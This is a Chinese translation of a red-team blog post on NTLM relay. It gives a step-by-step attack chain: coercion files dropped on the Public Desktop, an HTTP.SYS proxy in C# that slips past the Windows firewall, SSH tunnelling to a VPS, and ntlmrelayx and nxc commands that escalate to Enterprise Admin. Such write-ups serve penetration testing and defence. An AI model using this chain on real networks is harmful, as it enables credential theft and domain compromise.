到了 2024 年,NetNTLM 泄露仍然是个问题!在这篇文章中,我们将介绍以下部分内容:
通过 NetNTLM 和文件删除强制用户身份验证
HTTP.SYS 之谜
无需管理员权限即可转发
使用活动的 Windows 防火墙进行中继
SSH 端口转发
细节
通过 NetNTLM 强制用户身份验证
SO-CON 2024 幻灯片中的一个细节引起了我的注意。
(网)NTLM中继还活着吗?
PDF 可以在这里找到:Elad Shamir - NTLM The Legacy Protocol That Won't Die / Elad Shamir - NTLM - SO-CON 2024.pdf
那么这是什么意思?如果攻击者可以将 一个hidden authentication coercion file(这是描述一个.lnk或一个.scf文件的绝佳方式)放到用户桌面上,它将触发身份验证。即使没有用户交互(通常用于网络共享)?- 好的
这可能是横向移动的好方法,但当然需要本地管理权限,或者是一个真正崩溃的客户端(是的,我知道,这种情况经常发生……)。
当我们谈论可能性时,工作中的一个朋友(@qtc_de )给了我一个很好的小建议。我们不必将文件拖放到每个用户的桌面上,而是只需将一个文件拖入其中UsersPublicPublic Desktop,它就会立即同步到所有桌面。
当然,已经有一些关于此的精彩文章:
https://0xdf.gitlab.io/2019/03/09/htb-ethereal.html#visual-studio-2017lnk
https://0xdf.gitlab.io/2019/06/01/htb-sizzle.html#creds-for-amanda
对于强制部分本身,我们将生成一个过于复杂的lnk文件,其图标指向 WebDAV 资源。
例如,NetExec有一个slinky模块,只需要一些小的调整。
其相关部分:
link = pylnk3.create(self.lnk_path)
link.icon = f"\\{self.server}\icons\icon.ico"
link.save()
我们需要一个像这样的图标路径:
\elastic-elastic-dc01appsicon.ico
通过lnk下降到,Public Desktop我们可以在端口 445 (SMB) 上触发身份验证,我们可以对该端口进行农场或中继。但是,SMB 中继不再那么有用,因为大多数环境都强制执行 SMB 签名。当然也有一些例外,ESC8仍然表现出色!
PS:lnk文件也可以是不可见的:)
https://www.thehacker.recipes/ad/movement/ntlm/relay有一些非常棒的地图:
来源:https://www.thehacker.recipes/ad/movement/ntlm/relay
那么我们可以做些什么来增加中继部分的影响呢?
Web客户端
如果 WebClient 在客户端上启动,我们可以通过 HTTP(本例中为 WebDAV)触发到我们想要的任何端口和路径的强制!
如果您需要刷新有关该主题的知识,请查看此处。
Web 客户端未启动的风险令人不舒服,因此我们自己启动它,也通过删除文件来启动它。这次我们需要一个.searchConnector-ms文件。是的,这是一个奇怪的文件类型......
示例 searchConnector-ms 文件
是的,我很荣幸您能抽出时间,这是复制和粘贴的内容。
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://whatever/</url>
</simpleLocation>
</searchConnectorDescription>
删除此文件将在客户端上启动 WebClient 服务。
请注意,WebClient 主要在 Windows 10 和 11 下可用,Windows Server 需要安装额外的角色才能拥有它
现在,我们.lnk通过添加@10247.
\[email protected]
现在,如果我们在没有防火墙的 Linux 机器上执行代码,我们可以简单地使用它。但我们想更进一步,在没有管理员权限的情况下使用活动的 Windows 防火墙来利用此漏洞。
打破防火墙
在 Windows 中,除了经典的套接字侦听器之外,还有另一种创建 Web 服务器的方法。Windows 确实包含一个驱动程序,它为我们完成了繁重的工作,并允许非常简单的 Web 应用程序。
来源:https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager
由于我们的时间有限,这里是简短的版本。
围绕它的 .Net 命名空间是,System.Net.HttpListener并且有一个内核驱动程序为我们做事。
因为我们做一些事情真是太好了,更大的好处是:
我们可以拥有没有管理员权限的网络服务器
我们可以拥有带有活动 Windows 防火墙的网络服务器
等等,什么?-正确,有一些路径是通过 Windows 防火墙的默认配置允许的,因为 HTTP.SYS 驱动程序正在其下运行,NT-SYSTEM并且它是受信任的应用程序!
以下博客对此提供了一些启示:https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager
不幸的是,代码项目消失了:'(
但是等等,我们不是黑客吗?所以我们使用 Wayback 机器!
https://web.archive.org/web/20210629141743/https://archive.codeplex.com/?p=httpsysmanager
幸运的是,该版本也被存档。
HTTP.SYS ACL 的
我们来看一下Windows 11系统:
检查 Windows 11 上的 HTTP.SYS ACL
如果我们检查 URI 的所有这些权限,我们会发现一些有趣的权限,例如
:10247/apps路径上的宽松权限
经过身份验证的用户?嘿,这就是我!
那么每个经过身份验证的用户都可以在 ? 下注册一个侦听器http://<HOST>:10247/apps?很好,让我们试试这个。
在没有管理员权限的情况下运行侦听器
而且作为奖励,这还绕过了 Windows 防火墙的默认配置! - 凉爽的
其他有趣的 URI 是:
http://*:5357/
http://*:10246/MDEServer/
http://*:10247/apps/
http://*:80/Temporary_Listen_Addresses/
http://*:5358/
注意:并非所有这些 URI 都允许通过防火墙!
代理
因此,我们可以在没有管理员权限的情况下通过活动的 Windows 防火墙拥有一个侦听器。下一个是什么?我们可以代理这些请求并用它们做其他事情。
LinkedIn 上有一个有用的代码片段(是的,我知道……):
https://www.linkedin.com/pulse/implementing-proxy-server-c-example-test-case-esmael-esmaeli/
该代码片段需要进行一些调整才能满足我们的需求。我们可能会想出一些像这样又快又脏的东西
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.Remoting.Messaging;
using System.Text;
using System.Threading.Tasks;
namespace Proxy
{
internal class Program
{
static void Main(string[] args)
{
// Create a new HttpListener to listen for requests on the specified UR
HttpListener listener = new HttpListener();
listener.Prefixes.Add("http://+:80/Temporary_Listen_Addresses/");
//listener.Prefixes.Add("http://+:5357/blub/");
//listener.Prefixes.Add("http://+:5358/blubber/123/");
listener.Prefixes.Add("http://+:10246/MDEServer/");
listener.Prefixes.Add("http://+:10247/apps/");
listener.AuthenticationSchemes = AuthenticationSchemes.Anonymous;
listener.IgnoreWriteExceptions = true;
listener.Start();
while (true)
{
try
{
// Wait for a request to be made to the server
HttpListenerContext context = listener.GetContext();
// Get the request and response objects
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
// Modify the request as needed (e.g. to add headers, change the URL, etc.)
string newUrl = "http://elastic-elastic-dc01:8080/icon.ico";
// Forward the request to the destination server
HttpWebRequest destinationRequest = (HttpWebRequest)WebRequest.Create(newUrl);
destinationRequest.SendChunked = false;
destinationRequest.Method = request.HttpMethod;
// Copy the request headers from the original request to the new request
Console.WriteLine("Request");
Console.WriteLine(request.Url.ToString());
Console.WriteLine(request.HttpMethod.ToString());
Console.WriteLine(request.Headers.ToString());
foreach (string key in request.Headers.AllKeys)
{
try
{
string[] values = request.Headers.GetValues(key);
switch (key)
{
case "Connection":
if (values[0] == "Keep-Alive")
{
destinationRequest.KeepAlive = true;
} else
{
destinationRequest.Connection = values[0];
}
break;
case "Content-Length":
destinationRequest.ContentLength = long.Parse(values[0]);
break;
case "Host":
destinationRequest.Host = values[0];
break;
case "User-Agent":
destinationRequest.UserAgent = values[0];
break;
default:
destinationRequest.Headers.Add(key, values[0].ToString());
break;
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
Console.WriteLine("Forwarded item");
Console.WriteLine(destinationRequest.RequestUri.ToString());
Console.WriteLine(destinationRequest.Host);
Console.WriteLine(destinationRequest.Headers.ToString());
HttpWebResponse destinationResponse;
// Get the response from the destination server
try
{
destinationResponse = (HttpWebResponse)destinationRequest.GetResponse();
}
catch (WebException wex)
{
destinationResponse = wex.Response as HttpWebResponse;
}
Console.WriteLine("Response");
Console.WriteLine(destinationResponse.StatusCode.ToString());
Console.WriteLine(destinationResponse.Headers.ToString());
response.StatusCode = (int)destinationResponse.StatusCode;
// Copy the response headers from the destination response to the client response
foreach (string key in destinationResponse.Headers.AllKeys)
{
//response.Headers[header] = destinationResponse.Headers[header];
string[] values = destinationResponse.Headers.GetValues(key);
if (key == "Content-Length")
{
;
}
else
{
response.AddHeader(key, values[0]);
}
}
Console.WriteLine("Response - Override");
Console.WriteLine(destinationResponse.StatusCode.ToString());
Console.WriteLine(destinationResponse.Headers.ToString());
response.SendChunked = false;
// Get the response stream from the destination response and copy it to the client response
using (Stream destinationStream = destinationResponse.GetResponseStream())
{
using (Stream outputStream = response.OutputStream)
{
destinationStream.CopyTo(outputStream);
outputStream.Flush();
// You must close the output stream.
outputStream.Close();
}
}
}
catch (Exception ex)
{
Console.Write(ex.ToString());
Console.WriteLine(ex.StackTrace.ToString());
}
}
listener.Stop();
}
}
}
这是在做什么?大量的调试输出、一些不好的做法以及一些次要功能,例如注册侦听器HTTP.SYS、将请求转发到另一个端口、获取响应,然后将响应传递给初始调用者。
注意:SSH 只是一个简单的选项。还有更好的可能性,例如使用ironpython,python.net或直接在 C# 中进行中继。
Good ol’ SSH
我们可以在同一台机器上设置一些漂亮的小端口转发,将流量隧道传输到我们完全控制的系统,然后将其发送回来。
ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 [email protected]
为什么这有用?由于 Windows 还提供本机 SSH 功能,因此我们可以使用标准 Windows 客户端将 SSH 端口转发到互联网中的服务器(-L 10.3.10.12:8080:10.3.10.11:80),在那里运行 ntlmrelayx 并通过 SOCKS (-R 127.0.0.1:9050) 隧道将流量传回。
注意:如果允许 SSH 传出,目标服务器不需要位于同一网络中,这意味着它可以是 VPS 或其他
Farm NetNTLM Hashes
通过代理请求并使用 SSH 端口转发,我们可以在 VPS 上运行响应程序来获取一些哈希值。
哈希值破解
这当然很好,但如果我们只想要哈希值,我们可以直接在 C# 代码中完成此操作,就像MDSec 的 Farmer在这里所做的那样。
但更大/更好的部分往往是中继!
让我们稍微了解一下中继步骤。
在 VPS 上启动 ntlmrelayx
与proxychains和-smb2support。在此示例中,我们将针对 LDAP 服务进行中继,因为 noChannel binding和 no仍然很常见LDAP Signing。
中继到 LDAP 很强大,但不是唯一的选择。例如,针对文件共享或某些 HTTP 端点的带有 ntlmrelayx 的交互式 shell (-i) 也很棒
proxychains sudo ntlmrelayx.py -debug -smb2support -t "LDAP://10.3.10.12" --escalate-user domainuser --http-port 80
在客户端创建SSH隧道
使用两个不同的端口转发
ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 [email protected]
在客户端启动ProxyApp
它在 HTTP.SYS 注册并将请求转发到本地端口 8080
在受害者系统上删除 .searchConnectors-ms 文件
确保 WebClient 正在运行
在受害系统上删除 .lnk 文件
实际强制对我们的客户端进行身份验证
nxc smb 10.3.10.21 -d "ludus" -u "localadmin" -p "password" -M slinky -o NAME='\users\public\desktop\SHARE62' SERVER="elastic-elastic-dc01@10247apps"
注意:稍微奇怪的参数只是使其成为C:userspublicdesktopShare63.lnk
和\elastic-elastic-dc01@10247apps
。我可能会在一段时间内为 nxc 做 PR 来清理这个问题。
Ta -da,这实际上让我们成为了Enterprise Admin。
中继成功
流程如下所示:
攻击流程
POC
原文翻译自:
https://badoption.eu/blog/2024/04/25/netntlm.html
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...